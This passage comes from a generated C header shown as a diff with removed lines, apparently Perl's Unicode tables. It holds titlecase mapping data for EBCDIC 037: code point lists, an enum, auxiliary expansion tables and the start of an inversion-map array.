0x1D2, - 0x1D3, - 0x1D4, - 0x1D5, - 0x1D6, - 0x1D7, - 0x1D8, - 0x1D9, - 0x1DA, - 0x1DB, - 0x1DC, - 0x1DD, - 0x1DE, - 0x1DF, - 0x1E0, - 0x1E1, - 0x1E2, - 0x1E3, - 0x1E4, - 0x1E5, - 0x1E6, - 0x1E7, - 0x1E8, - 0x1E9, - 0x1EA, - 0x1EB, - 0x1EC, - 0x1ED, - 0x1EE, - 0x1EF, - 0x1F0, - 0x1F1, - 0x1F2, - 0x1F3, - 0x1F4, - 0x1F5, - 0x1F6, - 0x1F9, - 0x1FA, - 0x1FB, - 0x1FC, - 0x1FD, - 0x1FE, - 0x1FF, - 0x200, - 0x201, - 0x202, - 0x203, - 0x204, - 0x205, - 0x206, - 0x207, - 0x208, - 0x209, - 0x20A, - 0x20B, - 0x20C, - 0x20D, - 0x20E, - 0x20F, - 0x210, - 0x211, - 0x212, - 0x213, - 0x214, - 0x215, - 0x216, - 0x217, - 0x218, - 0x219, - 0x21A, - 0x21B, - 0x21C, - 0x21D, - 0x21E, - 0x21F, - 0x220, - 0x223, - 0x224, - 0x225, - 0x226, - 0x227, - 0x228, - 0x229, - 0x22A, - 0x22B, - 0x22C, - 0x22D, - 0x22E, - 0x22F, - 0x230, - 0x231, - 0x232, - 0x233, - 0x234, - 0x23C, - 0x23D, - 0x23F, - 0x241, - 0x242, - 0x243, - 0x247, - 0x248, - 0x249, - 0x24A, - 0x24B, - 0x24C, - 0x24D, - 0x24E, - 0x24F, - 0x250, - 0x251, - 0x252, - 0x253, - 0x254, - 0x255, - 0x256, - 0x258, - 0x259, - 0x25A, - 0x25B, - 0x25C, - 0x25D, - 0x260, - 0x261, - 0x262, - 0x263, - 0x264, - 0x265, - 0x266, - 0x267, - 0x268, - 0x269, - 0x26A, - 0x26B, - 0x26C, - 0x26D, - 0x26F, - 0x270, - 0x271, - 0x272, - 0x273, - 0x275, - 0x276, - 0x27D, - 0x27E, - 0x280, - 0x281, - 0x283, - 0x284, - 0x287, - 0x288, - 0x289, - 0x28A, - 0x28C, - 0x28D, - 0x292, - 0x293, - 0x29D, - 0x29E, - 0x29F, - 0x345, - 0x346, - 0x371, - 0x372, - 0x373, - 0x374, - 0x377, - 0x378, - 0x37B, - 0x37E, - 0x390, - 0x391, - 0x3AC, - 0x3AD, - 0x3B0, - 0x3B1, - 0x3C2, - 0x3C3, - 0x3CC, - 0x3CD, - 0x3CF, - 0x3D0, - 0x3D1, - 0x3D2, - 0x3D5, - 0x3D6, - 0x3D7, - 0x3D8, - 0x3D9, - 0x3DA, - 0x3DB, - 0x3DC, - 0x3DD, - 0x3DE, - 0x3DF, - 0x3E0, - 0x3E1, - 0x3E2, - 0x3E3, - 0x3E4, - 0x3E5, - 0x3E6, - 0x3E7, - 0x3E8, - 0x3E9, - 0x3EA, - 0x3EB, - 0x3EC, - 0x3ED, - 0x3EE, - 0x3EF, - 0x3F0, - 0x3F1, - 0x3F2, - 0x3F3, - 0x3F4, - 0x3F5, - 0x3F6, - 0x3F8, - 0x3F9, - 0x3FB, - 0x3FC, - 0x430, - 0x450, - 0x460, - 0x461, - 0x462, - 0x463, - 0x464, - 0x465, - 0x466, - 0x467, - 0x468, - 0x469, - 0x46A, - 0x46B, - 0x46C, - 0x46D, - 0x46E, - 0x46F, - 0x470, - 0x471, - 0x472, - 0x473, - 0x474, - 0x475, - 0x476, - 0x477, - 0x478, - 0x479, - 0x47A, - 0x47B, - 0x47C, - 0x47D, - 0x47E, - 0x47F, - 0x480, - 0x481, - 0x482, - 0x48B, - 0x48C, - 0x48D, - 0x48E, - 0x48F, - 0x490, - 0x491, - 0x492, - 0x493, - 0x494, - 0x495, - 0x496, - 0x497, - 0x498, - 0x499, - 0x49A, - 0x49B, - 0x49C, - 0x49D, - 0x49E, - 0x49F, - 0x4A0, - 0x4A1, - 0x4A2, - 0x4A3, - 0x4A4, - 0x4A5, - 0x4A6, - 0x4A7, - 0x4A8, - 0x4A9, - 0x4AA, - 0x4AB, - 0x4AC, - 0x4AD, - 0x4AE, - 0x4AF, - 0x4B0, - 0x4B1, - 0x4B2, - 0x4B3, - 0x4B4, - 0x4B5, - 0x4B6, - 0x4B7, - 0x4B8, - 0x4B9, - 0x4BA, - 0x4BB, - 0x4BC, - 0x4BD, - 0x4BE, - 0x4BF, - 0x4C0, - 0x4C2, - 0x4C3, - 0x4C4, - 0x4C5, - 0x4C6, - 0x4C7, - 0x4C8, - 0x4C9, - 0x4CA, - 0x4CB, - 0x4CC, - 0x4CD, - 0x4CE, - 0x4CF, - 0x4D0, - 0x4D1, - 0x4D2, - 0x4D3, - 0x4D4, - 0x4D5, - 0x4D6, - 0x4D7, - 0x4D8, - 0x4D9, - 0x4DA, - 0x4DB, - 0x4DC, - 0x4DD, - 0x4DE, - 0x4DF, - 0x4E0, - 0x4E1, - 0x4E2, - 0x4E3, - 0x4E4, - 0x4E5, - 0x4E6, - 0x4E7, - 0x4E8, - 0x4E9, - 0x4EA, - 0x4EB, - 0x4EC, - 0x4ED, - 0x4EE, - 0x4EF, - 0x4F0, - 0x4F1, - 0x4F2, - 0x4F3, - 0x4F4, - 0x4F5, - 0x4F6, - 0x4F7, - 0x4F8, - 0x4F9, - 0x4FA, - 0x4FB, - 0x4FC, - 0x4FD, - 0x4FE, - 0x4FF, - 0x500, - 0x501, - 0x502, - 0x503, - 0x504, - 0x505, - 0x506, - 0x507, - 0x508, - 0x509, - 0x50A, - 0x50B, - 0x50C, - 0x50D, - 0x50E, - 0x50F, - 0x510, - 0x511, - 0x512, - 0x513, - 0x514, - 0x515, - 0x516, - 0x517, - 0x518, - 0x519, - 0x51A, - 0x51B, - 0x51C, - 0x51D, - 0x51E, - 0x51F, - 0x520, - 0x521, - 0x522, - 0x523, - 0x524, - 0x525, - 0x526, - 0x527, - 0x528, - 0x529, - 0x52A, - 0x52B, - 0x52C, - 0x52D, - 0x52E, - 0x52F, - 0x530, - 0x561, - 0x587, - 0x588, - 0x13F8, - 0x13FE, - 0x1C80, - 0x1C81, - 0x1C82, - 0x1C83, - 0x1C85, - 0x1C86, - 0x1C87, - 0x1C88, - 0x1C89, - 0x1D79, - 0x1D7A, - 0x1D7D, - 0x1D7E, - 0x1E01, - 0x1E02, - 0x1E03, - 0x1E04, - 0x1E05, - 0x1E06, - 0x1E07, - 0x1E08, - 0x1E09, - 0x1E0A, - 0x1E0B, - 0x1E0C, - 0x1E0D, - 0x1E0E, - 0x1E0F, - 0x1E10, - 0x1E11, - 0x1E12, - 0x1E13, - 0x1E14, - 0x1E15, - 0x1E16, - 0x1E17, - 0x1E18, - 0x1E19, - 0x1E1A, - 0x1E1B, - 0x1E1C, - 0x1E1D, - 0x1E1E, - 0x1E1F, - 0x1E20, - 0x1E21, - 0x1E22, - 0x1E23, - 0x1E24, - 0x1E25, - 0x1E26, - 0x1E27, - 0x1E28, - 0x1E29, - 0x1E2A, - 0x1E2B, - 0x1E2C, - 0x1E2D, - 0x1E2E, - 0x1E2F, - 0x1E30, - 0x1E31, - 0x1E32, - 0x1E33, - 0x1E34, - 0x1E35, - 0x1E36, - 0x1E37, - 0x1E38, - 0x1E39, - 0x1E3A, - 0x1E3B, - 0x1E3C, - 0x1E3D, - 0x1E3E, - 0x1E3F, - 0x1E40, - 0x1E41, - 0x1E42, - 0x1E43, - 0x1E44, - 0x1E45, - 0x1E46, - 0x1E47, - 0x1E48, - 0x1E49, - 0x1E4A, - 0x1E4B, - 0x1E4C, - 0x1E4D, - 0x1E4E, - 0x1E4F, - 0x1E50, - 0x1E51, - 0x1E52, - 0x1E53, - 0x1E54, - 0x1E55, - 0x1E56, - 0x1E57, - 0x1E58, - 0x1E59, - 0x1E5A, - 0x1E5B, - 0x1E5C, - 0x1E5D, - 0x1E5E, - 0x1E5F, - 0x1E60, - 0x1E61, - 0x1E62, - 0x1E63, - 0x1E64, - 0x1E65, - 0x1E66, - 0x1E67, - 0x1E68, - 0x1E69, - 0x1E6A, - 0x1E6B, - 0x1E6C, - 0x1E6D, - 0x1E6E, - 0x1E6F, - 0x1E70, - 0x1E71, - 0x1E72, - 0x1E73, - 0x1E74, - 0x1E75, - 0x1E76, - 0x1E77, - 0x1E78, - 0x1E79, - 0x1E7A, - 0x1E7B, - 0x1E7C, - 0x1E7D, - 0x1E7E, - 0x1E7F, - 0x1E80, - 0x1E81, - 0x1E82, - 0x1E83, - 0x1E84, - 0x1E85, - 0x1E86, - 0x1E87, - 0x1E88, - 0x1E89, - 0x1E8A, - 0x1E8B, - 0x1E8C, - 0x1E8D, - 0x1E8E, - 0x1E8F, - 0x1E90, - 0x1E91, - 0x1E92, - 0x1E93, - 0x1E94, - 0x1E95, - 0x1E96, - 0x1E97, - 0x1E98, - 0x1E99, - 0x1E9A, - 0x1E9B, - 0x1E9C, - 0x1EA1, - 0x1EA2, - 0x1EA3, - 0x1EA4, - 0x1EA5, - 0x1EA6, - 0x1EA7, - 0x1EA8, - 0x1EA9, - 0x1EAA, - 0x1EAB, - 0x1EAC, - 0x1EAD, - 0x1EAE, - 0x1EAF, - 0x1EB0, - 0x1EB1, - 0x1EB2, - 0x1EB3, - 0x1EB4, - 0x1EB5, - 0x1EB6, - 0x1EB7, - 0x1EB8, - 0x1EB9, - 0x1EBA, - 0x1EBB, - 0x1EBC, - 0x1EBD, - 0x1EBE, - 0x1EBF, - 0x1EC0, - 0x1EC1, - 0x1EC2, - 0x1EC3, - 0x1EC4, - 0x1EC5, - 0x1EC6, - 0x1EC7, - 0x1EC8, - 0x1EC9, - 0x1ECA, - 0x1ECB, - 0x1ECC, - 0x1ECD, - 0x1ECE, - 0x1ECF, - 0x1ED0, - 0x1ED1, - 0x1ED2, - 0x1ED3, - 0x1ED4, - 0x1ED5, - 0x1ED6, - 0x1ED7, - 0x1ED8, - 0x1ED9, - 0x1EDA, - 0x1EDB, - 0x1EDC, - 0x1EDD, - 0x1EDE, - 0x1EDF, - 0x1EE0, - 0x1EE1, - 0x1EE2, - 0x1EE3, - 0x1EE4, - 0x1EE5, - 0x1EE6, - 0x1EE7, - 0x1EE8, - 0x1EE9, - 0x1EEA, - 0x1EEB, - 0x1EEC, - 0x1EED, - 0x1EEE, - 0x1EEF, - 0x1EF0, - 0x1EF1, - 0x1EF2, - 0x1EF3, - 0x1EF4, - 0x1EF5, - 0x1EF6, - 0x1EF7, - 0x1EF8, - 0x1EF9, - 0x1EFA, - 0x1EFB, - 0x1EFC, - 0x1EFD, - 0x1EFE, - 0x1EFF, - 0x1F00, - 0x1F08, - 0x1F10, - 0x1F16, - 0x1F20, - 0x1F28, - 0x1F30, - 0x1F38, - 0x1F40, - 0x1F46, - 0x1F50, - 0x1F51, - 0x1F52, - 0x1F53, - 0x1F54, - 0x1F55, - 0x1F56, - 0x1F57, - 0x1F58, - 0x1F60, - 0x1F68, - 0x1F70, - 0x1F72, - 0x1F76, - 0x1F78, - 0x1F7A, - 0x1F7C, - 0x1F7E, - 0x1F80, - 0x1F88, - 0x1F90, - 0x1F98, - 0x1FA0, - 0x1FA8, - 0x1FB0, - 0x1FB2, - 0x1FB3, - 0x1FB4, - 0x1FB5, - 0x1FB6, - 0x1FB7, - 0x1FB8, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC3, - 0x1FC4, - 0x1FC5, - 0x1FC6, - 0x1FC7, - 0x1FC8, - 0x1FD0, - 0x1FD2, - 0x1FD3, - 0x1FD4, - 0x1FD6, - 0x1FD7, - 0x1FD8, - 0x1FE0, - 0x1FE2, - 0x1FE3, - 0x1FE4, - 0x1FE5, - 0x1FE6, - 0x1FE7, - 0x1FE8, - 0x1FF2, - 0x1FF3, - 0x1FF4, - 0x1FF5, - 0x1FF6, - 0x1FF7, - 0x1FF8, - 0x214E, - 0x214F, - 0x2170, - 0x2180, - 0x2184, - 0x2185, - 0x24D0, - 0x24EA, - 0x2C30, - 0x2C5F, - 0x2C61, - 0x2C62, - 0x2C65, - 0x2C66, - 0x2C67, - 0x2C68, - 0x2C69, - 0x2C6A, - 0x2C6B, - 0x2C6C, - 0x2C6D, - 0x2C73, - 0x2C74, - 0x2C76, - 0x2C77, - 0x2C81, - 0x2C82, - 0x2C83, - 0x2C84, - 0x2C85, - 0x2C86, - 0x2C87, - 0x2C88, - 0x2C89, - 0x2C8A, - 0x2C8B, - 0x2C8C, - 0x2C8D, - 0x2C8E, - 0x2C8F, - 0x2C90, - 0x2C91, - 0x2C92, - 0x2C93, - 0x2C94, - 0x2C95, - 0x2C96, - 0x2C97, - 0x2C98, - 0x2C99, - 0x2C9A, - 0x2C9B, - 0x2C9C, - 0x2C9D, - 0x2C9E, - 0x2C9F, - 0x2CA0, - 0x2CA1, - 0x2CA2, - 0x2CA3, - 0x2CA4, - 0x2CA5, - 0x2CA6, - 0x2CA7, - 0x2CA8, - 0x2CA9, - 0x2CAA, - 0x2CAB, - 0x2CAC, - 0x2CAD, - 0x2CAE, - 0x2CAF, - 0x2CB0, - 0x2CB1, - 0x2CB2, - 0x2CB3, - 0x2CB4, - 0x2CB5, - 0x2CB6, - 0x2CB7, - 0x2CB8, - 0x2CB9, - 0x2CBA, - 0x2CBB, - 0x2CBC, - 0x2CBD, - 0x2CBE, - 0x2CBF, - 0x2CC0, - 0x2CC1, - 0x2CC2, - 0x2CC3, - 0x2CC4, - 0x2CC5, - 0x2CC6, - 0x2CC7, - 0x2CC8, - 0x2CC9, - 0x2CCA, - 0x2CCB, - 0x2CCC, - 0x2CCD, - 0x2CCE, - 0x2CCF, - 0x2CD0, - 0x2CD1, - 0x2CD2, - 0x2CD3, - 0x2CD4, - 0x2CD5, - 0x2CD6, - 0x2CD7, - 0x2CD8, - 0x2CD9, - 0x2CDA, - 0x2CDB, - 0x2CDC, - 0x2CDD, - 0x2CDE, - 0x2CDF, - 0x2CE0, - 0x2CE1, - 0x2CE2, - 0x2CE3, - 0x2CE4, - 0x2CEC, - 0x2CED, - 0x2CEE, - 0x2CEF, - 0x2CF3, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0xA641, - 0xA642, - 0xA643, - 0xA644, - 0xA645, - 0xA646, - 0xA647, - 0xA648, - 0xA649, - 0xA64A, - 0xA64B, - 0xA64C, - 0xA64D, - 0xA64E, - 0xA64F, - 0xA650, - 0xA651, - 0xA652, - 0xA653, - 0xA654, - 0xA655, - 0xA656, - 0xA657, - 0xA658, - 0xA659, - 0xA65A, - 0xA65B, - 0xA65C, - 0xA65D, - 0xA65E, - 0xA65F, - 0xA660, - 0xA661, - 0xA662, - 0xA663, - 0xA664, - 0xA665, - 0xA666, - 0xA667, - 0xA668, - 0xA669, - 0xA66A, - 0xA66B, - 0xA66C, - 0xA66D, - 0xA66E, - 0xA681, - 0xA682, - 0xA683, - 0xA684, - 0xA685, - 0xA686, - 0xA687, - 0xA688, - 0xA689, - 0xA68A, - 0xA68B, - 0xA68C, - 0xA68D, - 0xA68E, - 0xA68F, - 0xA690, - 0xA691, - 0xA692, - 0xA693, - 0xA694, - 0xA695, - 0xA696, - 0xA697, - 0xA698, - 0xA699, - 0xA69A, - 0xA69B, - 0xA69C, - 0xA723, - 0xA724, - 0xA725, - 0xA726, - 0xA727, - 0xA728, - 0xA729, - 0xA72A, - 0xA72B, - 0xA72C, - 0xA72D, - 0xA72E, - 0xA72F, - 0xA730, - 0xA733, - 0xA734, - 0xA735, - 0xA736, - 0xA737, - 0xA738, - 0xA739, - 0xA73A, - 0xA73B, - 0xA73C, - 0xA73D, - 0xA73E, - 0xA73F, - 0xA740, - 0xA741, - 0xA742, - 0xA743, - 0xA744, - 0xA745, - 0xA746, - 0xA747, - 0xA748, - 0xA749, - 0xA74A, - 0xA74B, - 0xA74C, - 0xA74D, - 0xA74E, - 0xA74F, - 0xA750, - 0xA751, - 0xA752, - 0xA753, - 0xA754, - 0xA755, - 0xA756, - 0xA757, - 0xA758, - 0xA759, - 0xA75A, - 0xA75B, - 0xA75C, - 0xA75D, - 0xA75E, - 0xA75F, - 0xA760, - 0xA761, - 0xA762, - 0xA763, - 0xA764, - 0xA765, - 0xA766, - 0xA767, - 0xA768, - 0xA769, - 0xA76A, - 0xA76B, - 0xA76C, - 0xA76D, - 0xA76E, - 0xA76F, - 0xA770, - 0xA77A, - 0xA77B, - 0xA77C, - 0xA77D, - 0xA77F, - 0xA780, - 0xA781, - 0xA782, - 0xA783, - 0xA784, - 0xA785, - 0xA786, - 0xA787, - 0xA788, - 0xA78C, - 0xA78D, - 0xA791, - 0xA792, - 0xA793, - 0xA794, - 0xA797, - 0xA798, - 0xA799, - 0xA79A, - 0xA79B, - 0xA79C, - 0xA79D, - 0xA79E, - 0xA79F, - 0xA7A0, - 0xA7A1, - 0xA7A2, - 0xA7A3, - 0xA7A4, - 0xA7A5, - 0xA7A6, - 0xA7A7, - 0xA7A8, - 0xA7A9, - 0xA7AA, - 0xA7B5, - 0xA7B6, - 0xA7B7, - 0xA7B8, - 0xAB53, - 0xAB54, - 0xAB70, - 0xABC0, - 0xFB00, - 0xFB01, - 0xFB02, - 0xFB03, - 0xFB04, - 0xFB05, - 0xFB07, - 0xFB13, - 0xFB14, - 0xFB15, - 0xFB16, - 0xFB17, - 0xFB18, - 0xFF41, - 0xFF5B, - 0x10428, - 0x10450, - 0x104D8, - 0x104FC, - 0x10CC0, - 0x10CF3, - 0x118C0, - 0x118E0, - 0x1E922, - 0x1E944 -}; - -/* Negative enum values indicate the need to use an auxiliary table - * consisting of the list of enums this one expands to. The absolute - * values of the negative enums are indices into a table of the auxiliary - * tables' addresses */ -typedef enum { - TC_0 = 0, - TC_use_AUX_TABLE_1 = -1, - TC_use_AUX_TABLE_2 = -2, - TC_use_AUX_TABLE_3 = -3, - TC_use_AUX_TABLE_4 = -4, - TC_use_AUX_TABLE_5 = -5, - TC_use_AUX_TABLE_6 = -6, - TC_use_AUX_TABLE_7 = -7, - TC_use_AUX_TABLE_8 = -8, - TC_use_AUX_TABLE_9 = -9, - TC_use_AUX_TABLE_10 = -10, - TC_use_AUX_TABLE_11 = -11, - TC_use_AUX_TABLE_12 = -12, - TC_use_AUX_TABLE_13 = -13, - TC_use_AUX_TABLE_14 = -14, - TC_use_AUX_TABLE_15 = -15, - TC_use_AUX_TABLE_16 = -16, - TC_use_AUX_TABLE_17 = -17, - TC_use_AUX_TABLE_18 = -18, - TC_use_AUX_TABLE_19 = -19, - TC_use_AUX_TABLE_20 = -20, - TC_use_AUX_TABLE_21 = -21, - TC_use_AUX_TABLE_22 = -22, - TC_use_AUX_TABLE_23 = -23, - TC_use_AUX_TABLE_24 = -24, - TC_use_AUX_TABLE_25 = -25, - TC_use_AUX_TABLE_26 = -26, - TC_use_AUX_TABLE_27 = -27, - TC_use_AUX_TABLE_28 = -28, - TC_use_AUX_TABLE_29 = -29, - TC_use_AUX_TABLE_30 = -30, - TC_use_AUX_TABLE_31 = -31, - TC_use_AUX_TABLE_32 = -32, - TC_use_AUX_TABLE_33 = -33, - TC_use_AUX_TABLE_34 = -34, - TC_use_AUX_TABLE_35 = -35, - TC_use_AUX_TABLE_36 = -36, - TC_use_AUX_TABLE_37 = -37, - TC_use_AUX_TABLE_38 = -38, - TC_use_AUX_TABLE_39 = -39, - TC_use_AUX_TABLE_40 = -40, - TC_use_AUX_TABLE_41 = -41, - TC_use_AUX_TABLE_42 = -42, - TC_use_AUX_TABLE_43 = -43, - TC_use_AUX_TABLE_44 = -44, - TC_use_AUX_TABLE_45 = -45 -} TC_enum; - -#define HAS_TC_AUX_TABLES - -static const unsigned int TC_AUX_TABLE_1[] = { - 0xE2, - 0xA2 -}; - -static const unsigned int TC_AUX_TABLE_2[] = { - 0x2BC, - 0xD5 -}; - -static const unsigned int TC_AUX_TABLE_3[] = { - 0xD1, - 0x30C -}; - -static const unsigned int TC_AUX_TABLE_4[] = { - 0x399, - 0x308, - 0x301 -}; - -static const unsigned int TC_AUX_TABLE_5[] = { - 0x3A5, - 0x308, - 0x301 -}; - -static const unsigned int TC_AUX_TABLE_6[] = { - 0x535, - 0x582 -}; - -static const unsigned int TC_AUX_TABLE_7[] = { - 0xC8, - 0x331 -}; - -static const unsigned int TC_AUX_TABLE_8[] = { - 0xE3, - 0x308 -}; - -static const unsigned int TC_AUX_TABLE_9[] = { - 0xE6, - 0x30A -}; - -static const unsigned int TC_AUX_TABLE_10[] = { - 0xE8, - 0x30A -}; - -static const unsigned int TC_AUX_TABLE_11[] = { - 0xC1, - 0x2BE -}; - -static const unsigned int TC_AUX_TABLE_12[] = { - 0x3A5, - 0x313 -}; - -static const unsigned int TC_AUX_TABLE_13[] = { - 0x3A5, - 0x313, - 0x300 -}; - -static const unsigned int TC_AUX_TABLE_14[] = { - 0x3A5, - 0x313, - 0x301 -}; - -static const unsigned int TC_AUX_TABLE_15[] = { - 0x3A5, - 0x313, - 0x342 -}; - -static const unsigned int TC_AUX_TABLE_16[] = { - 0x1FBA, - 0x345 -}; - -static const unsigned int TC_AUX_TABLE_17[] = { - 0x386, - 0x345 -}; - -static const unsigned int TC_AUX_TABLE_18[] = { - 0x391, - 0x342 -}; - -static const unsigned int TC_AUX_TABLE_19[] = { - 0x391, - 0x342, - 0x345 -}; - -static const unsigned int TC_AUX_TABLE_20[] = { - 0x1FCA, - 0x345 -}; - -static const unsigned int TC_AUX_TABLE_21[] = { - 0x389, - 0x345 -}; - -static const unsigned int TC_AUX_TABLE_22[] = { - 0x397, - 0x342 -}; - -static const unsigned int TC_AUX_TABLE_23[] = { - 0x397, - 0x342, - 0x345 -}; - -static const unsigned int TC_AUX_TABLE_24[] = { - 0x399, - 0x308, - 0x300 -}; - -static const unsigned int TC_AUX_TABLE_25[] = { - 0x399, - 0x342 -}; - -static const unsigned int TC_AUX_TABLE_26[] = { - 0x399, - 0x308, - 0x342 -}; - -static const unsigned int TC_AUX_TABLE_27[] = { - 0x3A5, - 0x308, - 0x300 -}; - -static const unsigned int TC_AUX_TABLE_28[] = { - 0x3A1, - 0x313 -}; - -static const unsigned int TC_AUX_TABLE_29[] = { - 0x3A5, - 0x342 -}; - -static const unsigned int TC_AUX_TABLE_30[] = { - 0x3A5, - 0x308, - 0x342 -}; - -static const unsigned int TC_AUX_TABLE_31[] = { - 0x1FFA, - 0x345 -}; - -static const unsigned int TC_AUX_TABLE_32[] = { - 0x38F, - 0x345 -}; - -static const unsigned int TC_AUX_TABLE_33[] = { - 0x3A9, - 0x342 -}; - -static const unsigned int TC_AUX_TABLE_34[] = { - 0x3A9, - 0x342, - 0x345 -}; - -static const unsigned int TC_AUX_TABLE_35[] = { - 0xC6, - 0x86 -}; - -static const unsigned int TC_AUX_TABLE_36[] = { - 0xC6, - 0x89 -}; - -static const unsigned int TC_AUX_TABLE_37[] = { - 0xC6, - 0x93 -}; - -static const unsigned int TC_AUX_TABLE_38[] = { - 0xC6, - 0x86, - 0x89 -}; - -static const unsigned int TC_AUX_TABLE_39[] = { - 0xC6, - 0x86, - 0x93 -}; - -static const unsigned int TC_AUX_TABLE_40[] = { - 0xE2, - 0xA3 -}; - -static const unsigned int TC_AUX_TABLE_41[] = { - 0x544, - 0x576 -}; - -static const unsigned int TC_AUX_TABLE_42[] = { - 0x544, - 0x565 -}; - -static const unsigned int TC_AUX_TABLE_43[] = { - 0x544, - 0x56B -}; - -static const unsigned int TC_AUX_TABLE_44[] = { - 0x54E, - 0x576 -}; - -static const unsigned int TC_AUX_TABLE_45[] = { - 0x544, - 0x56D -}; - -static const unsigned int * const TC_AUX_TABLE_ptrs[] = { - NULL, /* Placeholder */ - TC_AUX_TABLE_1, - TC_AUX_TABLE_2, - TC_AUX_TABLE_3, - TC_AUX_TABLE_4, - TC_AUX_TABLE_5, - TC_AUX_TABLE_6, - TC_AUX_TABLE_7, - TC_AUX_TABLE_8, - TC_AUX_TABLE_9, - TC_AUX_TABLE_10, - TC_AUX_TABLE_11, - TC_AUX_TABLE_12, - TC_AUX_TABLE_13, - TC_AUX_TABLE_14, - TC_AUX_TABLE_15, - TC_AUX_TABLE_16, - TC_AUX_TABLE_17, - TC_AUX_TABLE_18, - TC_AUX_TABLE_19, - TC_AUX_TABLE_20, - TC_AUX_TABLE_21, - TC_AUX_TABLE_22, - TC_AUX_TABLE_23, - TC_AUX_TABLE_24, - TC_AUX_TABLE_25, - TC_AUX_TABLE_26, - TC_AUX_TABLE_27, - TC_AUX_TABLE_28, - TC_AUX_TABLE_29, - TC_AUX_TABLE_30, - TC_AUX_TABLE_31, - TC_AUX_TABLE_32, - TC_AUX_TABLE_33, - TC_AUX_TABLE_34, - TC_AUX_TABLE_35, - TC_AUX_TABLE_36, - TC_AUX_TABLE_37, - TC_AUX_TABLE_38, - TC_AUX_TABLE_39, - TC_AUX_TABLE_40, - TC_AUX_TABLE_41, - TC_AUX_TABLE_42, - TC_AUX_TABLE_43, - TC_AUX_TABLE_44, - TC_AUX_TABLE_45 -}; - -/* Parallel table to the above, giving the number of elements in each table - * pointed to */ -static const U8 TC_AUX_TABLE_lengths[] = { - 0, /* Placeholder */ - 2 /* TC_AUX_TABLE_1 */, - 2 /* TC_AUX_TABLE_2 */, - 2 /* TC_AUX_TABLE_3 */, - 3 /* TC_AUX_TABLE_4 */, - 3 /* TC_AUX_TABLE_5 */, - 2 /* TC_AUX_TABLE_6 */, - 2 /* TC_AUX_TABLE_7 */, - 2 /* TC_AUX_TABLE_8 */, - 2 /* TC_AUX_TABLE_9 */, - 2 /* TC_AUX_TABLE_10 */, - 2 /* TC_AUX_TABLE_11 */, - 2 /* TC_AUX_TABLE_12 */, - 3 /* TC_AUX_TABLE_13 */, - 3 /* TC_AUX_TABLE_14 */, - 3 /* TC_AUX_TABLE_15 */, - 2 /* TC_AUX_TABLE_16 */, - 2 /* TC_AUX_TABLE_17 */, - 2 /* TC_AUX_TABLE_18 */, - 3 /* TC_AUX_TABLE_19 */, - 2 /* TC_AUX_TABLE_20 */, - 2 /* TC_AUX_TABLE_21 */, - 2 /* TC_AUX_TABLE_22 */, - 3 /* TC_AUX_TABLE_23 */, - 3 /* TC_AUX_TABLE_24 */, - 2 /* TC_AUX_TABLE_25 */, - 3 /* TC_AUX_TABLE_26 */, - 3 /* TC_AUX_TABLE_27 */, - 2 /* TC_AUX_TABLE_28 */, - 2 /* TC_AUX_TABLE_29 */, - 3 /* TC_AUX_TABLE_30 */, - 2 /* TC_AUX_TABLE_31 */, - 2 /* TC_AUX_TABLE_32 */, - 2 /* TC_AUX_TABLE_33 */, - 3 /* TC_AUX_TABLE_34 */, - 2 /* TC_AUX_TABLE_35 */, - 2 /* TC_AUX_TABLE_36 */, - 2 /* TC_AUX_TABLE_37 */, - 3 /* TC_AUX_TABLE_38 */, - 3 /* TC_AUX_TABLE_39 */, - 2 /* TC_AUX_TABLE_40 */, - 2 /* TC_AUX_TABLE_41 */, - 2 /* TC_AUX_TABLE_42 */, - 2 /* TC_AUX_TABLE_43 */, - 2 /* TC_AUX_TABLE_44 */, - 2 /* TC_AUX_TABLE_45 */ -}; - -static const int Titlecase_Mapping_invmap[] = { /* for EBCDIC 037 */ - 0, - 0x62, - 0, - 0x71, - TC_use_AUX_TABLE_1, - 0, - 0x80, - 0, - 0xC1, - 0, - 0xAC, - 0, - 0xD1, - 0, - 0x9E, - 0, - 0x39C, - 0, - 0xE2, - 0, - 0xEB, - 0, - 0xFB, - 0x178, - 0, - 0x100, - 0, - 0x102, - 0, - 0x104, - 0, - 0x106, - 0, - 0x108, - 0, - 0x10A, - 0, - 0x10C, - 0, - 0x10E, - 0, - 0x110, - 0, - 0x112, - 0, - 0x114, - 0, - 0x116, - 0, - 0x118, - 0, - 0x11A, - 0, - 0x11C, - 0, - 0x11E, - 0, - 0x120, - 0, - 0x122, - 0, - 0x124, - 0, - 0x126, - 0, - 0x128, - 0, - 0x12A, - 0, - 0x12C, - 0, - 0x12E, - 0, - 0xC9, - 0, - 0x132, - 0, - 0x134, - 0, - 0x136, - 0, - 0x139, - 0, - 0x13B, - 0, - 0x13D, - 0, - 0x13F, - 0, - 0x141, - 0, - 0x143, - 0, - 0x145, - 0, - 0x147, - TC_use_AUX_TABLE_2, - 0, - 0x14A, - 0, - 0x14C, - 0, - 0x14E, - 0, - 0x150, - 0, - 0x152, - 0, - 0x154, - 0, - 0x156, - 0, - 0x158, - 0, - 0x15A, - 0, - 0x15C, - 0, - 0x15E, - 0, - 0x160, - 0, - 0x162, - 0, - 0x164, - 0, - 0x166, - 0, - 0x168, - 0, - 0x16A, - 0, - 0x16C, - 0, - 0x16E, - 0, - 0x170, - 0, - 0x172, - 0, - 0x174, - 0, - 0x176, - 0, - 0x179, - 0, - 0x17B, - 0, - 0x17D, - 0xE2, - 0x243, - 0, - 0x182, - 0, - 0x184, - 0, - 0x187, - 0, - 0x18B, - 0, - 0x191, - 0, - 0x1F6, - 0, - 0x198, - 0x23D, - 0, - 0x220, - 0, - 0x1A0, - 0, - 0x1A2, - 0, - 0x1A4, - 0, - 0x1A7, - 0, - 0x1AC, - 0, - 0x1AF, - 0, - 0x1B3, - 0, - 0x1B5, - 0, - 0x1B8, - 0, - 0x1BC, - 0, - 0x1F7, - 0, - 0x1C5, - 0, - 0x1C5, - 0x1C8, - 0, - 0x1C8, - 0x1CB, - 0, - 0x1CB, - 0, - 0x1CD, - 0, - 0x1CF, - 0, - 0x1D1, - 0, - 0x1D3, - 0, - 0x1D5, - 0, - 0x1D7, - 0, - 0x1D9, - 0, - 0x1DB, - 0x18E, - 0, - 0x1DE, - 0, - 0x1E0, - 0, - 0x1E2, - 0, - 0x1E4, - 0, - 0x1E6, - 0, - 0x1E8, - 0, - 0x1EA, - 0, - 0x1EC, - 0, - 0x1EE, - 